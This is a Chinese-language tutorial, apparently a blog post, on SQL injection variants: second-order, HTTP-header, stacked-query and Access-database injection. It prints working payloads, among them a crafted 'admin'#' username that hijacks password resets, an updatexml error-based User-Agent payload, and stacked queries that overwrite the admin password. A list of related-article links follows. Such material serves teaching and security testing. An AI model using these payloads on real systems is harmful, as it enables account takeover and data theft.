前言

SQL注入的危害:
(1).数据库信息泄露,数据库中存放用户的信息隐私数据的泄露
(2).服务器被远程控制,被安装后门


文章目录

  • 前言
  • 七.二次注入
  • 八.http头注入
  • 九.堆叠注入
  • 十.access数据库注入

七.二次注入

  二次注入属于SQL注入的一种场景,是指已存储(数据库,文件)的用户输入被读取后再次进入到SQL查询语句中导致的注入。二次注入比普通SQL注入利用更加困难,利用门槛更高,普通注入数据直接进到SQL查询中,而二次注入则是输入数据经处理后存储,取出后,再次进入到SQL查询

简言:如登录一个网站,进行网站账号注册,然后再在网站里面更改密码
payload(省略了有源码变量前的’$’):
 (1)后端源码:

sql = "UPDATE users SET PASSWORD='pass' where username='username' and password='curr_pass' ";

 (2)新建用户,构造名字 admin’#
 (3)重置账号密码,输入名字admin’#,修改过后发现被修改的账号是admin
 其原因就是(修改密码时,源码变化):#号注释了后面的引号

sql = "UPDATE users SET PASSWORD='pass' where username='admin' # ' and password='curr_pass' ";

 (4)从而修改了别人账号的密码


八.http头注入

  http头注入其实并不是新的SQL注入类型,而是指出现SQL注入漏洞的场景。有时候后台开发人员为了验证客户端头信息(比如常用的cookie验证),会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑则可能会导致基于http header的SQL inject漏洞

payload:
 (1)用burp抓包,信息头user-agent处加单引号报错
 (2)构造闭合,后端源码:

insert = "INSERT INTO `security`.`uagent` (`uagent`,`ip_address`,`username`) VALUES (`$uagent`,`$IP`,`$uname`)";

 (3)1’ and ‘1’ = '1 构造闭合

1' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and '1'='1


九.堆叠注入

在SQL语句中,分号代表一条SQL语句结束,而堆叠注入就是多条SQL一起执行,堆叠注入不同于其他注入,有局限性

前提是你需要知道字段,表名称
payload:
 (1)如:1';create table test like users --+ 创建一个名为test的表
 (2)如:1';update users set password='admin@123' where username='admin' --+修改用户密码


十.access数据库注入

access数据库没有库,那些.mdb的文件就是access数据库的文件,打开里面有表,有列,所以注入点只能都是猜测

源码:id=request(“id”)
   sql =“select * from product where id=”$id
方法1:联合查询
 (1)判断注入点是否存在
 (2)猜测表名,如?id=123 and 1=2 union select 1,2,3 from xxx,这里的xxx即是数据库表名,要猜测出来,或者使用字典对名字进行遍历猜测
 (3)猜测字段名,在猜测出表名后,如?id=123 and 1=2 union select 1,x,3 from table,对字段名x进行猜测
方法2:逐字猜解法
 (1)猜测表名,and exists(select * from 表名)
 (2)猜测字段名,and exists(select id from admin),对id进行猜测


SQL注入系列总结二相关推荐

  1. SQL注入系列之环境搭建(一)----ASP+ACCESS注入环境搭建

    一.常见网站搭建组合 操作系统:windows linux 搭建平台:iis apache uginx tomcat 脚本格式:asp php aspx jsp cgi war py pl do js ...

  2. pikachu靶场通关之sql注入系列

    目录 一.前置知识 二.SQL注入 三. 注入的一般方法 1. 手动注入 (1)联合查询union注入: (2)基于报错信息注入: (3)盲注: 2. 使用sqlmap注入 (1) 前置知识 (2) ...

  3. Linq To Sql进阶系列(二)M:M关系

    在Linq To Sql进阶系列(一) 一文中,我们谈到了数据库中的两种基本关系1:M 与1:1. 而现实世界中,还有一种M:M 的关系.比如,一个老师可以有多个学生,而一个学生也可以有多个老师.老师 ...

  4. 学习SQL注入系列篇(1)

    文章目录 SQL注入原理和流程 SQL类型 获取数据库信息 SQL注入工具 1. SQLmap常用命令使用 SQL注入原理和流程 SQL类型 DQL:数据查询语言(select) DML:数据操作语言 ...

  5. SQL注入教程——(二)常用语法基础

    本文使用的数据库为hijack89 该数据库中存在名为user 的表 表中存在id.username.password 三个列 具体数据内容如下: 注意:该数据表第一条数据项为id为2,usernam ...

  6. postgresql两个列模糊比较_数据分析之SQL优化系列(二)---PostgreSQL 的索引

    参考<PostgreSQL11.2-中文手册> 下面这个链接,讲的通俗易懂,可以看看. 数据分析师不得不知道的SQL优化 - 鑫获 - 博客园​www.cnblogs.com 索引是提高数 ...

  7. SQL注入系列(一)——超详细SQL注入环境搭建

    首先准备一台:windows2008 sever 的虚拟机(如果电脑配置较低的,可以开自己本机) phpstudy2016(个人喜好) 下载chrome浏览器(用google浏览器,存属于个人爱好哈~ ...

  8. SQL基础系列(二)——单表查询

    本文以单表查询为边界,介绍如何对一张表进行简单查询.限制条件查询.结果排序等内容.每种情况均有例句和补充说明. 如想看更多示例,请移步<SQL基础教程(第二版)>-MICK(如需电子版,可 ...

  9. SQL注入学习资料总结

    什么是SQL注入 SQL注入基本介绍 结构化查询语言(Structured Query Language,缩写:SQL),是一种特殊的编程语言,用于数据库中的标准数据查询语言.1986年10月,美国国 ...

最新文章

  1. Java学习必不可少的网站,快收藏起来
  2. pandas DataFrame(2)-行列索引及值的获取
  3. Python_序列对象内置方法详解_String
  4. give girls more options to choose
  5. php返回json的结果
  6. asp.net MVC Session 第二次加载丢失问题
  7. 使用Envoy代理的微服务模式,第二部分:超时和重试
  8. oracle新建一个用户_Kettle 连接oracle将数据保存到Excel
  9. 什么是一致性Hash算法? 1
  10. C++编程语言中const关键字介绍
  11. aliplayer阿里云播放器直播及录播前端代码
  12. java中榨汁机的代码_《榨汁机食谱大全》(不断更新中)
  13. php的toast,toast提示是什么
  14. html中圆角和颜色透明度的属性与使用
  15. 【Devc++】双人跑酷小游戏1.3
  16. Smatch 最基础的应用
  17. Java全栈工程师学习
  18. 编程基本功训练:流程图画法及练习
  19. 5.4.1 映射Blob和Clob类型@Lob
  20. 今日免费PNG图标集下载 - SweetiePlus

热门文章

  1. 国辰的迎宾机器人是怎样的体验?
  2. c语言编程小学生测验,c语言小学生测验
  3. Linux 下如何创建 /删除软连接
  4. Notepad++Plugin NPP_Export插件
  5. 经理、产品经理、教练的起源
  6. Qt 之图形(简笔画-绘制漂亮的西瓜)
  7. json expected name at 1 1
  8. 计算机组成原理|第二章(笔记)
  9. 【LeetCode】TreeNode
  10. Git 状态图标不显示的解决办法